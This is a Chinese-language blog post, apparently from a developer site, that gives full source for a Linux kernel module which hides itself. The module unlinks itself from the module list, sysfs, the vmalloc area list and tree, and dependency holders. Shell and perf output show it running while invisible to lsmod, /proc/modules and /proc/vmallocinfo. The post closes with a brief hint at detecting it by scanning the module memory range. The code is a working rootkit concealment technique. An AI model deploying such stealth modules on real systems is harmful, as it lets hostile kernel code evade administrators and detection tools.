隐藏自己的Linux内核模块

前面我提倡使用oneshot模式加载模块,即让模块在init函数中把事情做完后就return -1,这样系统中便不存在这么一个模块,也就不需要隐藏了。

但是,由于THIS_MODULE宏的存在,我们发现实际上隐藏一个模块是多么地简单。事实上,模块可以在init函数中通过THIS_MODULE宏实现自隐藏的。想想看,自己可以给自己办理身份证,户口迁移,自己给自己签证,是多么有意思且有意义。

既然如此简单,还费事搞oneshot干嘛,精神洁癖总是不想看到return -1。

和进程隐藏完全不同,进程无法自己隐藏自己,只能依靠其它模块找到相应的task_struct,然后再摘链。

THIS_MODULE宏对于每一个内核模块均有一个,它将xx.mod.c中的下列结构体载入内核空间:

struct module __this_module
__attribute__((section(".gnu.linkonce.this_module"))) = {
	.name = KBUILD_MODNAME,
	.init = init_module,
#ifdef CONFIG_MODULE_UNLOAD
	.exit = cleanup_module,
#endif
	.arch = MODULE_ARCH_INIT,
};

我来用代码演示一下如何来隐藏自己,代码如下:

// hidemyself.c
#include <linux/module.h>
#include <net/netfilter/nf_conntrack_core.h>
#include <asm-generic/delay.h>
#include <linux/kallsyms.h>
#include <linux/vmalloc.h>

struct timer_list timer;
// 模拟重体力劳动
static void timer_func(unsigned long data)
{
	udelay(1000);
	mod_timer(&timer, jiffies + 10);
}

static void __init hide_myself(void)
{
	struct vmap_area *va, *vtmp;
	struct module_use *use, *tmp;
	struct list_head *_vmap_area_list;
	struct rb_root *_vmap_area_root;

	_vmap_area_list = (struct list_head *)kallsyms_lookup_name("vmap_area_list");
	_vmap_area_root = (struct rb_root *)kallsyms_lookup_name("vmap_area_root");

	// 摘除vmalloc调用关系链,/proc/vmallocinfo中不可见
	list_for_each_entry_safe(va, vtmp, _vmap_area_list, list) {
		if ((unsigned long)THIS_MODULE > va->va_start && (unsigned long)THIS_MODULE < va->va_end) {
			list_del(&va->list);
			// rbtree中摘除,无法通过rbtree找到
			rb_erase(&va->rb_node, _vmap_area_root);
		}
	}

	// 摘除链表,/proc/modules 中不可见。
	list_del_init(&THIS_MODULE->list);
	// 摘除kobj,/sys/modules/中不可见。
	kobject_del(&THIS_MODULE->mkobj.kobj);
	// 摘除依赖关系,本例中nf_conntrack的holder中不可见。
	list_for_each_entry_safe(use, tmp, &THIS_MODULE->target_list, target_list) {
		list_del(&use->source_list);
		list_del(&use->target_list);
		sysfs_remove_link(use->target->holders_dir, THIS_MODULE->name);
		kfree(use);
	}
}

static int __init hideself_init(void)
{
	hide_myself();
	init_timer(&timer);
	timer.expires = jiffies + 20;
	timer.function = timer_func;
	add_timer(&timer);

	// 模拟依赖。我们需要在依赖关系中也隐藏掉该模块的行踪
	printk("address:%p   this:%p\n", nf_conntrack_in, THIS_MODULE);

	return 0;
}

static void __exit hideself_exit(void)
{
	del_timer_sync(&timer);
}
module_init(hideself_init);
module_exit(hideself_exit);
MODULE_LICENSE("GPL");

我们加载该模块,发现重体力劳动已经开始运行:

[root@localhost test]# insmod ./hidemyself.ko
[root@localhost test]# perf top
Samples: 2K of event 'cpu-clock', Event count (approx.): 383743956
Overhead  Shared Object        Symbol
  47.89%  [kernel]             [k] native_read_tsc
  38.93%  [kernel]             [k] delay_tsc
   1.61%  [kernel]             [k] _raw_spin_unlock_irqrestore
   1.47%  [kernel]             [k] __do_softirq
   1.26%  perf                 [.] __symbols__ins

依赖也已经记录:

[root@localhost test]# lsmod |grep nf_conntrack
nf_conntrack          105737  1

但是却哪里都找不到:

[root@localhost test]# cat /proc/modules |grep hidemyself
[root@localhost test]# ls -l /sys/module/|grep hidemyself
[root@localhost test]# ls -l /sys/module/nf_conntrack/holders/|grep hidemyself
[root@localhost test]#

同时,/proc/vmallocinfo中也没有该模块的地址空间。下面是dmesg打印出的信息:

[  668.202784] address:ffffffffa02a56e0   this:ffffffffa00fa000

我们看得出,THIS_MODULE的地址是 0xffffffffa00fa000,我们在/proc/vmallocinfo中找不到包含该地址的vmalloc区间!

隐藏很成功。而且…

而且,模块还可以加载多次的哦,因为它已经在命名空间中被自己除名了,完全脱离了组织的管理。

接下来,我正常要做的就是, 把它找出来!

当然,扫描modules内存区间是可行的,它在:

// arch/x86/include/asm/pgtable_64_types.h
#define MODULES_VADDR    _AC(0xffffffffa0000000, UL)
#define MODULES_END      _AC(0xffffffffff000000, UL)

还有更好的方法,后面再说吧。

回家咯。


浙江温州皮鞋湿,下雨进水不会胖。

  • 3
    点赞
  • 13
    收藏
    觉得还不错? 一键收藏
  • 4
    评论
评论 4
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值